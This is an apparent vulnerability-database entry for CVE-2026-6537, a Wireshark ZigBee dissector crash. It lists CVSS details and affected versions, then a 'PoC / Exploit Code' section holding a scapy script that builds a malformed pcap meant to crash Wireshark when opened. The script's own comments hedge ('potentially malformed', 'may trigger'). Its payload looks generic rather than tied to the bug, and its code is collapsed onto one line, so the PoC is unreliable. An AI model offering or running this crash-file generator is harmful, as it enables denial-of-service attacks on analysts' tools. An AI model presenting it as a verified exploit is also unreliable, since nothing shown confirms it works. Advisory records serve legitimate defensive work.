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CVE-2026-6537 CVSS 5.5 MEDIUM

CVE-2026-6537

Published: 2026-04-30 07:16:41
Last Modified: 2026-05-01 18:15:45

Description

ZigBee protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 to 4.6.4
Wireshark 4.4.0 to 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-6537 (Wireshark ZigBee Dissector Crash) This script generates a malformed packet that may trigger the DoS. """ from scapy.all import * # Construct a potentially malformed ZigBee packet structure # Adjusting payload to simulate anomalous data that the dissector fails to handle malformed_payload = b"\x00\x21\xcc\x00" + b"\x41" * 500 # Using Dot15d4 (ZigBee) layer if available, otherwise Raw try: pkt = Dot15d4FCS() / Dot15d4Data() / Raw(malformed_payload) except: pkt = Raw(malformed_payload) # Write the packet to a pcap file wrpcap("cve_2026_6537_poc.pcap", [pkt]) print("[+] PoC file 'cve_2026_6537_poc.pcap' generated successfully.") print("[*] Open this file in Wireshark 4.6.0 - 4.6.4 or 4.4.0 - 4.4.14 to reproduce the crash.")

References

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